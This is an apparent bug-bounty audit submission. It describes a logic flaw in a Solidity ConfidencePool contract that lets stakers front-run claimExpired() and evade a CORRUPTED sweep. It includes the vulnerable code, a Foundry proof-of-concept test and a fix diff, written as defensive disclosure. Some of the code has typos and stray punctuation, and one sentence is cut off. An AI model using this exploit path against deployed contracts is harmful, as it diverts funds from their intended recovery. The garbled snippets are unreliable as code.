FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: low
Likelihood: low

Front-running claimExpired() post-expiry allows stakers to resolve the pool to EXPIRED and evade CORRUPTED sweeps if no active-risk state was observed.

Author Revealed upon completion

Root + Impact

The permissionless claimExpired() function fails to auto-resolve a pool to CORRUPTED if the upstream agreement registry transitions directly to CORRUPTED without ever entering an active-risk state (UNDER_ATTACK or PROMOTION_REQUESTED), leaving riskWindowStart == 0. Consequently, stakers can invoke claimExpired() post-expiry to lock the outcome as EXPIRED and receive a full refund, permanently preventing the moderator from flagging CORRUPTED to sweep the funds to the recovery address

Description

Under normal operation, if an agreement is corrupted, pool stakers are supposed to lose their capital, which is swept to the recoveryAddress or used to pay attacker bounties. However, if the registry skips active-risk states (moving straight from NEW_DEPLOYMENT to CORRUPTED), the pool clone's local riskWindowStart variable remains 0. When a staker invokes claimExpired(), the contract checks state == CORRUPTED && riskWindowStart != 0. Since riskWindowStart is 0, this check fails, causing the pool to resolve to EXPIRED and lock claimsStarted = true. This permanently disables the moderator's authority to override the outcome to CORRUPTED.

solidity
// File: src/ConfidencePool.sol
function claimExpired() external nonReentrant {
if (block.timestamp < expiry) revert PoolNotExpired();
if (outcome != PoolStates.Outcome.UNRESOLVED && outcome != PoolStates.Outcome.EXPIRED) {
revert InvalidOutcome();
}
if (outcome == PoolStates.Outcome.UNRESOLVED) {
IAttackRegistry. ContractState state = _observePoolState();
// @> Root Cause: requires riskWindowStart != 0 to auto-resolve CORRUPTED.
if (state == IAttackRegistry.ContractState.CORRUPTED && @>riskWindowStart != 0) {
if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
revert AgreementCorruptedAwaitingModerator();
}
outcome = PoolStates.Outcome.CORRUPTED;
outcomeFlaggedAt = riskWindowEnd;
corruptedReserve = snapshotTotalStaked + snapshotTotalBonus;
claimsStarted = true;
emit OutcomeFlagged(address(0), PoolStates.Outcome). CORRUPTED, false, address(0));
return;
}
if (state == IAttackRegistry.ContractState.PRODUCTION) {
outcome = PoolStates.Outcome.SURVIVED;
outcomeFlaggedAt = riskWindowEnd;
emit OutcomeFlagged(address(0), PoolStates.Outcome.SURVIVED, false, address(0));
} else {
// @> Falls through here, resolving EXPIRED and locking claimsStarted
outcome = PoolStates.Outcome.EXPIRED;
outcomeFlaggedAt = expiry;
emit OutcomeFlagged(address(0), PoolStates.Outcome EXPIRED, false, address(0));
}
claimsStarted = true;
}
}

Risk

Likelihood:

  • Active-Risk Staging Skip: The upstream registry transitions directly to CORRUPTED without ever entering/observing the UNDER_ATTACK or PROMOTION_REQUESTED states.

  • Moderator Delay: The moderator fails to flag CORRUPTED before the pool expires and the first staker calls claimExpired().

Impact:

  • Lockout of Correct Outcome: The pool is resolved as EXPIRED, permanently locking claimsStarted = true.

  • Bypassed Sweep Penalty: Stakers withdraw their full principal plus any bonus shares, evading the penalty sweep to the recovery address meant to settle the

Proof of Concept

The test below stakes tokens for Alice, transitions the registry state directly to CORRUPTED, warps past expiry, and executes claimExpired(). Alice's call succeeds in resolving the pool to EXPIRED instead of CORRUPTED because riskWindowStart is 0, permanently blocking the moderator's override.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test, console2} from "forge-std/Test.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract AutoCorruptedRacePoC is BaseConfidencePoolTest {
function setUp() public override {
super.setUp();
}
function test_autoCorruptedRace BypassPoC() public {
// 1. Alice stakes before any risk is registered
_stake(alice, 100 * ONE);
// 2. Upstream registry transitions directly from NEW_DEPLOYMENT to CORRUPTED (skipping UNDER_ATTACK)
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
// 3. Pool expires
vm.warp(pool.expiry() + 1);
// 4. Alice calls claimExpired() before the moderator flags the outcome
vm.prank(alice);
pool.claimExpired();
// 5. Outcome is resolved to EXPIRED, and claims "Started" is set to true
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.EXPIRED));
assertTrue(pool.claimsStarted());
// 6. Moderator is now locked out and cannot flag CORRUPTED
vm.prank(moderator);
vm.expectRevert(); // reverts with OutcomeAlreadySet()
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
// 7. Alice recovers her full principal
uint256 aliceGot = token.balanceOf(alice);
assertEq(aliceGot, 100 * ONE);
}
}

Recommended Mitigation

If the registry is CORRUPTED at expiry, the pool must not default to EXPIRED even if the risk window was never observed locally. Allow the moderator's offline judgment to remain the sole authority by omitting the riskWindowStart != 0 constraint on the auto-CORRUPTED check, or wait until the grace window has elapsed.

diff --git a/src/Confidence Pool.sol b/src/ConfidencePool.sol
index a5f3d4b..f4b8c9a 100644
--- a/src/ConfidencePool.sol
+++ b/src/ConfidencePool.sol
@@ -531,7 +531,7 @@ contract ConfidencePool is Initializable, Ownable2Step, ReentrancyGuard, Pausable
if (outcome == PoolStates.Outcome.UNRESOLVED) {
IAttackRegistry. ContractState state = _observePoolState();
- If (state == IAttackRegistry. ContractState. CORRUPTED && riskWindowStart != = 0) {
+ if (state == IAttackRegistry. ContractState. CORRUPTED) {
if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
revert AgreementCorruptedAwaitingModerator();
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!